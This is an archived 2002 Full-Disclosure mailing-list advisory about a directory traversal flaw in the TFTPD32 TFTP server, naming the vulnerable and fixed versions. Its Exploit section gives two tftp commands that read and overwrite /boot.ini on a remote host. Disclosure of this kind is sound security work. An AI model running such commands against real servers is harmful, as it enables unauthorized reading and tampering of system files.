[Full-Disclosure] TFTPD32 Directory Traversal Vulnerability
From: Aviram Jenik (aviram@beyondsecurity.com)
Date: 11/18/02
- Next message: Aviram Jenik: "[Full-Disclosure] TFTPD32 Buffer Overflow Vulnerability (Long filename)"
- Previous message: ratel: "[Full-Disclosure] Beyond black, white, and grey: the Yellow Hat Hacker"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: aviram@beyondsecurity.com (Aviram Jenik) Date: Mon, 18 Nov 2002 22:42:41 +0200
Advisory available at:
http://www.securiteam.com/windowsntfocus/6D00D2061G.html
TFTPD32 Directory Traversal Vulnerability
--------------------------------------------
SUMMARY
<http://tftpd32.jounin.net> TFTPD32 is a Freeware TFTP server for
windows 9x/NT/XP. It provides an implementation of the TFTPv2 protocol
(specified in the RFC 1350).
A vulnerability in the product allows remote attackers to view any file
on the system as well as write to arbitrary locations.
DETAILS
Vulnerable systems:
* TFTP32 version 2.50.2 and prior
Immune systems:
* TFTP32 version 2.51
Exploit:
Getting files:
tftp host GET /boot.ini
Storing files:
tftp host PUT myfile /boot.ini
ADDITIONAL INFORMATION
The information has been provided by <mailto:expert@securiteam.com>
SecurITeam Experts.
-- Aviram Jenik Beyond Security Ltd. http://www.BeyondSecurity.com http://www.SecuriTeam.com Know that you're safe: http://www.AutomatedScanning.com
- Next message: Aviram Jenik: "[Full-Disclosure] TFTPD32 Buffer Overflow Vulnerability (Long filename)"
- Previous message: ratel: "[Full-Disclosure] Beyond black, white, and grey: the Yellow Hat Hacker"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
